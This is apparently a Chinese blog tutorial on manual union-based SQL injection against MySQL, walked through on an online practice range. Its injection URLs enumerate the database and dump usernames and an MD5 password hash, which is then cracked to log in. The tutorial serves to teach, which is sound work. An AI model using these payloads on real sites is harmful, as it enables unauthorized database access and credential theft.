01_SQL注入_Mysql注入利用联合查询的手工注入
01_SQL注入_Mysql注入:利用联合查询的手工注入
1.SQL注入的成因
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
遵纪守法,做合格网民!!!!
开发过程中,一些开发者会直接将URL的参数,POST方法的参数等一些列外来输入的参数拼接到SQL语句中。上述做法会造成SQL语句的可控,从而使得测试者能够通过执行SQL语句,实现一些自定义操作。
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
例如上述代码中:SQL语句部分的$id变量就会将代码第一行GET到的参数直接和SQL语句拼接。
2.Mysql注入的思路
注入点的判断:
1.利用人为的SQL语句逻辑错误判断是否能够对数据库进行操作;
首先明确,常见的查询逻辑 与 或 非,这里只介绍常用的与and和或or。
我们知道如下表达式
真 and 真 = 真
真 and 假 = 假
真 or 假 = 真
那么,一种判断是否存在SQL注入的手动测试方法就是:利用上述逻辑进行测试,如果人为注入的逻辑正确,页面会正常显示;逻辑错误,页面会出现异常(注意:不是报错)。也就是说出现下面情况可以判断SQL我们是能够进行人为的SQL注入测试的。
原本语句 SELECT * FROM users WHERE id =1 LIMIT 0,1 查询正常
在id=1后拼接 and 1=1的真逻辑:SELECT * FROM users WHERE id =1 and 1=1 LIMIT 0,1 页面正常
在id=1后拼接 and 1=-1的假逻辑:SELECT * FROM users WHERE id =1 and 1=-1 LIMIT 0,1 页面错误
当然也可以采用一种比较直接的方式判断:直接通过错误查询看页面是否出现异常,如果异常,就表明我们拼接的语句是能够操作数据库的,如下所示:
原本语句 SELECT * FROM users WHERE id =1 LIMIT 0,1 查询正常
修改id参数(反正没人认识我,随便改了):SELECT * FROM users WHERE id =wo_shi_sha_bi LIMIT 0,1 页面错误
信息收集:
操作系统:有些操作系统是区分大小写的,为了保证SQL注入的成功,区分大小写很必要
数据库名:定位到目标数据库
数据库用户:对于不同权限的用户有不同的思路
数据库版本:低版本和高版本有不同的做法
网站路径:涉及到文件读写问题
数据注入:
Mysql 5.0以前的版本采用暴力查询的方案
Mysql 5.0以后的版本利用information_schema库查询
高级权限注入
一种思路是回归到一般的数据注入
当然也可以利用注入进行跨库的查询或进行文件读写操作
3.实战:利用联合查询的手工注入
CTF竞赛中此类题型往往会将数据回显到页面中:本部分采用墨者学院在线靶场进行演示记录
地址:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
连接靶场:观察,并未发现存在URL中存在拼接的可能性
尝试点击页面元素:
成功跳转到URL可操作的页面
尝试通过URL拼接进行SQL注入的测试
STEP1:注入点的判断
1.是否存在SQL注入的可能性
浏览器中输入http://124.70.64.48:41606/new_list.php?id=1 and 1=1
得到正常回显
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1
页面出错
自此我们判断该站点可以进行SQL注入测试
2.猜测列数
语句拼接 order by x;直到页面异常
这一步的意义是为了后续操作中参数回显做准备,在不知道交互怎么写的情况下,只有尝试,因为我们不知道回显的是表中的哪些列
回归本靶场的测试:一直拼接到order by 4都是正常显示,到order by 5 时,页面出现异常
http://124.70.64.48:41606/new_list.php?id=1order by 5
由此我们判断,参与本页回显的有四列
3.利用人为的逻辑错误 和 联合查询判断参与页面显示的是哪些列
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,2,3,4
由此,后续我们只需要一步一步对union中的2,3字段不断替换,重复操作,让我们想要的信息回显即可
Step2:信息收集
数据库版本:version()
数据库名称:database( )
数据库用户:user( )
操作系统:@@version_compile_os
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,database(),version(),4
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,user(),@@version_compile_os,4
至此,我们收集到了需要的信息,根据数据库的版本在5.0以上,我们可以判断存在information_schema库供我们使用:
数据库版本: 5.7.22-0ubuntu0.16.04.1
数据库名称: mozhe_Discuz_StormGroup
数据库用户: root@localhost
操作系统: Linux
Step3:数据注入—Mysql高版本的思路
information_schema 存储有所有数据库名、表名、列名,可以通过查询这个数据库获得想要的信息
数据库中’’."代表下一级a.b代表a数据库中的b表
information_schema.tables:表
information_schema.columns:列
table_name:表名
column_name:列名
table_schema:数据库名
1.查询表:通过上一步我们已经查到了数据库mozhe_Discuz_StormGroup为本网站使用的数据库,因此通过语法查询该库中有哪些表:
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
得到回显: StormGroup_member,notice
根据表的名称推测:我们需要用到的是StormGroup_member这张表
2.查询列
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
得到回显
3.查询具体信息,我们想要获得的是用户名和密码因此可以查询
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
我们查到两个用户名和口令的密文形式,两个用户名一致因此需要查看一下账号的状态,确保我们要登录的账号是可用的(其实这一步已经可以尝试了,但是考虑到现实中MD5的彩虹表攻击没那么简单所以进行了这一步)
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(name),group_concat(status),4 from StormGroup_member
回显得后者为真值,因此记录下:
用户名:mozhe
密码: 6c761925e2ba5bc5a4fa9b548f66a340
Step4:尝试解密:
工具:https://www.sojson.com/encrypt_md5.html
采用工具得:817469
尝试登陆:
拿下!!!回家吃西瓜!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
01_SQL注入_Mysql注入利用联合查询的手工注入相关推荐
- SOL注入——基干联合查询的POST注入(四)
本章目的 普及POST注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 (2) ...
- 【SQL注入-03】union联合查询注入案例
目录 1 union联合查询注入概述 1.1 简介 1.2 适用条件 1.3 注入步骤 1.4 注入技巧 2 union联合查询注入案例 2.1 操作环境 2.2 操作具体步骤 2.2.1 判断是否存 ...
- SQL注入——基于联合查询的POST注入
实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...
- SQL注入--基于联合查询的POST注入
实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...
- mysql 事务关联_MySQL 关联、联合查询,事务ACID见解
MySQL 关联.联合查询,事务ACID见解 1.关联查询分为几种情况: 1.1.内连接: 1.1.1.INNER JOIN INNER JOIN 产生的结果是两个表的交集 1.1.2.CROSS J ...
- mysql多表查询分页面_mysql多表联合查询分点经验给大家
你的位置: 问答吧 -> MySQL -> 问题详情 mysql多表联合查询分点经验给大家 我在工作中天天研究zen cart的程序,那个叫人痛苦,最近比较痛苦的是经常碰见mysql多表联 ...
- mysql联合查询查询语句_mysql多表联合查询语句是什么
mysql多表联合查询语句是:使用select语句,union关键词,语法为[select 语句1 union [union 选项] select 语句2 union [union 选项] selec ...
- mysql 多表联查的效率_Mysql 多表联合查询效率分析
1 多表连接类型 1. 笛卡尔积(交叉连接) 在MySQL中可以为CROSS JOIN或者省略CROSS即JOIN,或者使用',' 如: SELECT * FROM table1 CROSS JOIN ...
- mysql 多表查询 优化_Mysql 多表联合查询效率分析及优化
1. 多表连接类型 1. 笛卡尔积(交叉连接)在MySQL中可以为CROSS JOIN或者省略CROSS即JOIN,或者使用',' 如: SELECT * FROM table1 CROSS JOI ...
最新文章
- 用Python实现OpenCV特征提取与图像检索 | Demo
- 使用二维高斯函数模糊图片
- HDU 4857 Couple doubi(找循环节)
- 如何在C#中用单个空格替换多个空格?
- 真正能解决 Windows 7下安装Office 2007—2010出现1402和1406类错误的方法
- python的span方法_Python Span.set_extension方法代码示例
- [js高手之路]构造函数的基本特性与优缺点
- python学习笔记 程序执行过程 基本数据类型
- 一个初一蒟蒻的NOIP2020游记
- 微信公众号文章采集工具,可采集文章文字内容信息及图片
- 邦邦两拳‾͟͟͞(((ꎤˋ⁻̫ˊ)—̳͟͞͞o
- 「中国好SaaS」重装升级,真正以用户视角,发现SaaS好项目
- Evaluation of a 25-511keV List Mode Readout System for a Large Field-of-View Gamma Camera
- oh my zsh 的alias文件
- 从零搭建游戏服务器,编译过程和环境部署教程详解
- 开源免费,最好用的3大系统9大防火墙软件安利给你们
- 0.96寸OLED显示屏驱动手册(SSD1306)
- VQA数据集调研报告
- PMI-ACP练习题(17)
- 卡片IOT板开发计划
热门文章
- 音频剪切拼接软件哪个好?给你分享四款音频剪切拼接软件
- java如何让线程休眠一分钟_如何使线程在java中休眠特定的时间?
- 北邮毕业计算机年薪多少,“两电一邮”到底有多牛? 这4大专业: 一毕业年薪几十万!...
- zephyr笔记 5.3.1 Zephyr 版本 MCUboot 的编译和使用
- yum update 命令详解
- 录像机查看回放时音频功能如何开启?
- 中科院副院长谭铁牛:通用模式识别仍存三大瓶颈
- 记录一次jbd2不停写磁盘原因追查
- mysql日期格式化季度_Mysql 查询某年,某季度,某月,某天搜索方法总结
- 一篇文章认识4种Java多线程的创建方式